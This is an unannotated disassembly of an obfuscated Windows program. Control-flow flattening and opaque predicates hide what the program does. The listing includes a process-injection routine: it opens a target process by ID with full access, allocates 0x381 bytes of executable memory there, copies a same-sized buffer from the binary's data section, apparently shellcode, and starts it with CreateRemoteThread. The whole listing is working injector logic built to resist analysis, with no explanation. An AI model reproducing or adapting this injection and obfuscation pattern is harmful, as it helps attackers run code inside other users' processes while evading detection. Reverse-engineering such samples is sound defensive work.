jmp 0x140001070
mov eax, 0x7630ecb6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or dl, r8b
and dl, al
and cl, bl
xor cl, dl
or cl, al
and bl, r8b
xor bl, cl
mov eax, 0x9ca775a6
mov ecx, 0x2d1a310b
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge r10b
setl al
mov ebx, eax
or cl, al
and al, r8b
xor bl, r8b
and cl, bl
mov r9d, ebx
xor r9b, 1
and r10b, r8b
or r10b, r9b
xor r10b, bl
mov edx, r10d
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
mov ebx, eax
not bl
or bl, dl
and bl, cl
not dl
and dl, al
xor dl, bl
test dl, 1
mov ecx, 0x3726f04
mov edx, 0xc6fd8cf4
cmovne ecx, edx
test r10b, r10b
mov edx, 0xc6fd8cf4
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x23030eb8
mov ecx, 0x935ef3b2
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp qword [rbp + 8], 0
setne byte [rbp - 0x14]
mov eax, dword [0x140035ab0]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete r10b
cmp dword [0x140035ab4], 0xa
setl al
setge bl
mov r11d, r10d
and r11b, bl
mov ecx, eax
xor cl, r10b
xor r11b, cl
mov r9d, eax
or r9b, dil
mov r8d, r11d
xor r8b, 1
movzx esi, cl
mov r14d, r9d
xor r14b, r11b
or bl, r10b
and bl, sil
and dil, al
xor dil, bl
mov ebx, esi
xor bl, 1
or bl, dil
or al, r10b
mov edx, eax
or dl, bl
movzx edi, bl
xor bl, 1
or bl, sil
movzx ebx, bl
mov ecx, edx
test al, al
cmove ebx, edi
not cl
and cl, bl
xor dl, bl
xor dl, cl
test dl, 1
mov eax, 0xf0a6364e
mov ebx, 0xb2084dc5
cmovne eax, ebx
test r14b, r14b
cmove eax, ebx
movzx ecx, r8b
test r9b, r9b
cmovne ecx, esi
mov edx, 0xb2084dc5
cmovne edx, eax
test r11b, r11b
cmove edx, eax
test cl, cl
cmovne edx, ebx
mov eax, edx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.Please_provide_a_process_ID__n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x294fafbf
mov ecx, 0xce5d2eef
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov eax, 0xed4ca5d6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7f2bbb55
mov ecx, 0xc410b316
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xca4f1318
mov ecx, 0x5653e286
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x234ac1c0
mov ecx, 0x8b304fc5
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaec3e785
mov ecx, 0x7e84e4e0
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd501992
mov ecx, 0x11e0a0e2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xcbf04620
jmp 0x140001070
mov eax, 0x88e28689
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f792270
mov ecx, 0x137f4d7
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
mov ebx, ecx
xor bl, dl
xor cl, al
xor dl, al
mov eax, ecx
or al, bl
and cl, bl
or cl, dl
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
xor dl, cl
xor cl, 1
and cl, al
xor cl, dl
mov eax, ecx
not al
and al, bl
xor bl, cl
xor bl, al
test bl, 1
mov eax, 0xf06c670d
mov ecx, 0xf1b02df8
cmovne eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp edi, 0xa
setge bl
setl al
xor al, cl
and bl, cl
xor bl, al
xor bl, 1
test dl, 1
movzx ecx, bl
movzx eax, al
cmovne ecx, eax
cmp edi, 0xa
cmovl ecx, eax
test cl, cl
mov eax, 0x294fafbf
mov ebx, 0xf704251a
cmovne eax, ebx
test dl, 1
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0x853e5067
jmp 0x140001070
mov eax, 0x3c8f6008
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
and cl, bl
or dl, r8b
mov eax, ebx
xor al, r8b
and dl, al
xor dl, cl
or bl, r8b
xor bl, al
test dl, dl
mov eax, 0xbf259d74
mov ecx, 0xe9a07a7b
cmovne eax, ecx
test bl, bl
cmovne eax, ecx
jmp 0x140001070
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, 0xee6c02d9
jmp 0x140001070
mov eax, 0xa7cc30a9
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc9e9e68
mov ecx, 0xa2688251
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x8b1a25d
jmp 0x140001070
mov eax, 0x6cad0be6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91f758d7
mov ecx, 0xe94ec61d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8ef4b69
mov ecx, 0x2b3b0078
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
mov edi, 0xff8c317e
mov esi, 0x2d3e6b27
cmove edi, esi
cmp dword [0x140035ab4], 0xa
setge bl
setl dl
mov ecx, 0xff8c317e
cmovge edi, ecx
or al, dl
xor dl, r8b
and bl, r8b
xor bl, dl
mov r9d, ebx
xor r9b, 1
mov r8d, eax
or r8b, bl
and dl, al
xor dl, r8b
mov ecx, edx
not cl
and r9b, al
xor al, bl
xor al, r9b
and cl, al
xor al, dl
xor al, cl
test al, 1
cmove edi, esi
mov eax, edi
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov r8d, edx
and r8b, al
xor al, dl
mov ebx, edx
or bl, cl
and bl, al
and dl, cl
xor dl, al
or dl, bl
xor dl, r8b
mov eax, 0x468747a1
mov ecx, 0x2095d31a
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x6d3ce556
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6c265f70
mov ecx, 0x2d46e36a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44197382
mov ecx, 0x2742e94
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x1c4150c9
jmp 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x636d014f
mov ecx, 0xf8042423
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x636d014f
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2ef33f36
mov ecx, 0x20b3d028
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xc8ca1594
mov ecx, 0x2b1af402
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
mov rdx, qword [rbp]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140011390
add rsp, 0x20
mov eax, 0xefb648e
jmp 0x140001070
mov eax, 0x56338808
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3cb6cf70
mov ecx, 0x16703a3a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd440bb5f
mov ecx, 0x83b162ae
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [rbp - 0x70]
mov dword [rbp - 0x44], eax
mov eax, dword [rbp - 0x74]
mov dword [rbp - 0x3c], eax
mov eax, 0x3f105ce
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ecb092a
mov ecx, 0x97e46ef2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
or dl, al
or cl, al
mov eax, ebx
xor al, 1
and al, cl
mov ecx, edx
xor cl, 1
or cl, al
xor cl, dl
mov eax, 0x30aace50
mov ecx, 0x115ec8de
cmovne eax, ecx
test bl, bl
mov ecx, 0x30aace50
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x17115c55
mov ecx, 0x26d528a9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0x8cd909db
mov ebx, 0x785e54e1
cmove ecx, ebx
cmp dword [0x140035ab4], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6a78ef0b
mov ecx, 0x60cba001
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb871c28a
mov ecx, 0x4b9c3945
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xb871c28a
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xa8ee8921
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xce0c198b
mov ecx, 0xdc6a49bf
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [rbp - 0x40]
mov dword [rbp - 0x74], eax
mov rax, qword [rbp - 0x10]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x689dcfde
mov ecx, 0x33898781
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3a313c23
mov ecx, 0x2db96780
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x3a313c23
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf898e519
mov ecx, 0x389a0fdc
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xa453930d
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x780f5cfc
mov ecx, 0xccf3229c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
movzx ecx, byte [rbp - 0x11]
cmp byte [rbp - 0x12], 0
mov eax, 0x863fccf2
mov edx, 0xcc5a35ce
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140001070
mov eax, 0x2cebb11c
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, edx
xor al, cl
xor al, 1
movzx eax, al
movzx ecx, cl
test dl, dl
cmovne ecx, eax
test cl, cl
mov eax, 0xb813e1fd
mov ecx, 0x4d61c613
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [rbp + 0x14]
add eax, 1
mov dword [rbp - 0x70], eax
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23030eb8
mov ecx, 0xf9883f70
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xba9d3df8
jmp 0x140001070
mov ecx, dword [0x140035ab0]
mov eax, dword [0x140035ab4]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp eax, 0xa
setl bl
xor cl, bl
and bl, dl
xor bl, cl
xor bl, 1
cmp eax, 0xa
movzx ebx, bl
movzx ecx, cl
cmovge ebx, ecx
test edx, edx
cmove ebx, ecx
test bl, bl
mov ecx, 0x26b4ff20
mov ebx, 0x247917ca
cmovne ecx, ebx
test edx, edx
mov edx, ecx
cmove edx, ebx
cmp eax, 0xa
cmovge edx, ecx
mov eax, edx
jmp 0x140001070
mov eax, 0x4f710a4a
jmp 0x140001070
mov eax, 0x6e131106
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc08f433a
mov ecx, 0xd83b82b7
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xc08f433a
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl cl
setge al
and al, r8b
mov ebx, ecx
xor bl, r8b
or dl, cl
and dl, bl
xor dl, al
mov eax, ebx
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, bl
or cl, r8b
xor cl, bl
xor bl, al
xor bl, dl
mov r8d, ecx
xor r8b, bl
and al, cl
mov edx, ecx
or dl, r8b
xor dl, al
not cl
and cl, bl
xor cl, r8b
test dl, 1
mov eax, 0x800cd7d4
mov edx, 0x58e6f2c5
cmovne eax, edx
test r8b, 1
mov edx, 0x800cd7d4
cmove eax, edx
test cl, 1
cmovne eax, edx
jmp 0x140001070
mov eax, 0xaa581d04
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfb04bb8f
mov ecx, 0x434d40df
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x20b3d028
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r9b
cmp dword [0x140035ab4], 0xa
setl dl
setge r8b
mov eax, r9d
or al, r8b
xor r8b, r9b
mov r10d, edx
xor r10b, r9b
mov ebx, r10d
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
and bl, al
or bl, cl
xor bl, 1
or bl, cl
or dl, r9b
mov eax, edx
not al
and al, bl
xor dl, bl
xor dl, al
test dl, 1
mov eax, 0xe657b6f2
mov edx, 0xe1c5e555
cmovne eax, edx
test r10b, r10b
mov ecx, 0xe1c5e555
cmovne ecx, eax
test r8b, r8b
cmovne ecx, eax
test r10b, r10b
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
mov eax, 0x6cd27772
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x1804a016
mov ebx, 0x16615793
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
jmp 0x140001070
mov eax, 0xd081c6e9
jmp 0x140001070
mov eax, 0x363d110b
jmp 0x140001070
mov eax, 0x2962bc56
jmp 0x140001070
mov eax, 0x10
call fcn.140014cd0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x25a1ce82
mov ecx, 0x3d5d5e33
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe19d7386
mov ecx, 0xd6802f57
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, al
mov ecx, edx
or cl, al
xor cl, bl
and dl, al
mov eax, edx
xor al, cl
xor al, 1
or al, cl
and al, dl
xor al, bl
mov eax, 0x87eb07f3
mov ecx, 0xadc4681b
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xa2863aa0
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ecx, edx
xor cl, al
or al, dl
mov ebx, ecx
xor bl, 1
or dl, dil
and dl, bl
xor dl, al
xor dl, cl
mov eax, 0x3fd98060
mov ecx, 0x8f49c628
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
and al, cl
xor cl, r8b
or bl, r8b
and bl, cl
xor al, bl
xor cl, al
mov ecx, 0x797f3488
mov ebx, 0x141fd778
cmovne ecx, ebx
test al, al
cmovne ecx, ebx
test edx, edx
mov eax, ecx
cmove eax, ebx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, 0x19cfe9b8
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x39aeca2e
mov ecx, 0x3ab456b9
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov edx, ebx
xor dl, r8b
mov eax, r8d
or al, cl
and al, dl
and cl, r8b
xor cl, dl
or cl, al
and bl, r8b
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, al
xor bl, cl
not cl
or cl, al
and cl, dl
xor dl, cl
test cl, cl
mov eax, 0xf72437e9
mov ecx, 0xf33c5637
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0xf72437e9
cmovne ecx, edx
test bl, bl
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, 0x141fd778
jmp 0x140001070
mov eax, 0x252e84ff
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xeeb0913a
mov ecx, 0x1c0865ee
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf8042423
mov ecx, 0xbfef415e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35f012ab
mov ecx, 0x165979fc
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xdec77b7e
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe189b55f
mov ecx, 0xba21a992
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x220206ec
mov ecx, 0x6173e1ed
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x220206ec
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x652354f2
jmp 0x140001070
mov eax, 0x9b509c
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa7d1921d
mov ecx, 0xdd1e2538
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6b9d02e5
mov ecx, 0xa4922049
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbc75a330
mov ecx, 0xcea37825
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xbc75a330
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x61d3d92b
mov ecx, 0xd5365449
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x479870b3
mov ecx, 0x5f11591a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
and cl, bl
xor cl, al
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
mov eax, 0x97bb0f47
mov ecx, 0x6fc12ab4
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd9627bc5
mov ecx, 0x17c8773c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xad5fa68e
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl al
and cl, al
mov ebx, eax
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
and al, r8b
xor dl, bl
or dl, bl
xor dl, al
test dl, 1
mov eax, 0x3d031da9
mov ecx, 0xe024d34c
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xea85fc11
mov ecx, 0x83424805
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf100549d
mov ecx, 0x8cc26b0e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xde8212ac
jmp 0x140001070
mov eax, 0x7e43e98c
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x447564d0
mov ecx, 0xd3429984
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x9f30c1b0
jmp 0x140001070
mov eax, 0xc065557f
jmp 0x140001070
mov eax, 0x2319137f
jmp 0x140001070
mov eax, 0x1c0865ee
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2db96780
mov ecx, 0xc001e5f8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6c1e44cc
mov ecx, 0x11316e7d
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7278ee4c
mov ecx, 0x44490330
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x115ec8de
mov ecx, 0xfaa02e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, 0xf7e536f1
jmp 0x140001070
mov eax, 0x1bc00105
jmp 0x140001070
mov eax, 0x37ab2a21
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
or dl, cl
xor al, 1
and al, dl
mov ecx, eax
xor cl, 1
and cl, bl
xor al, bl
xor al, cl
mov eax, 0x3dfe1ee5
mov ecx, 0x3afed939
cmovne eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x43cb2bce
mov ecx, 0xb41e3d6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
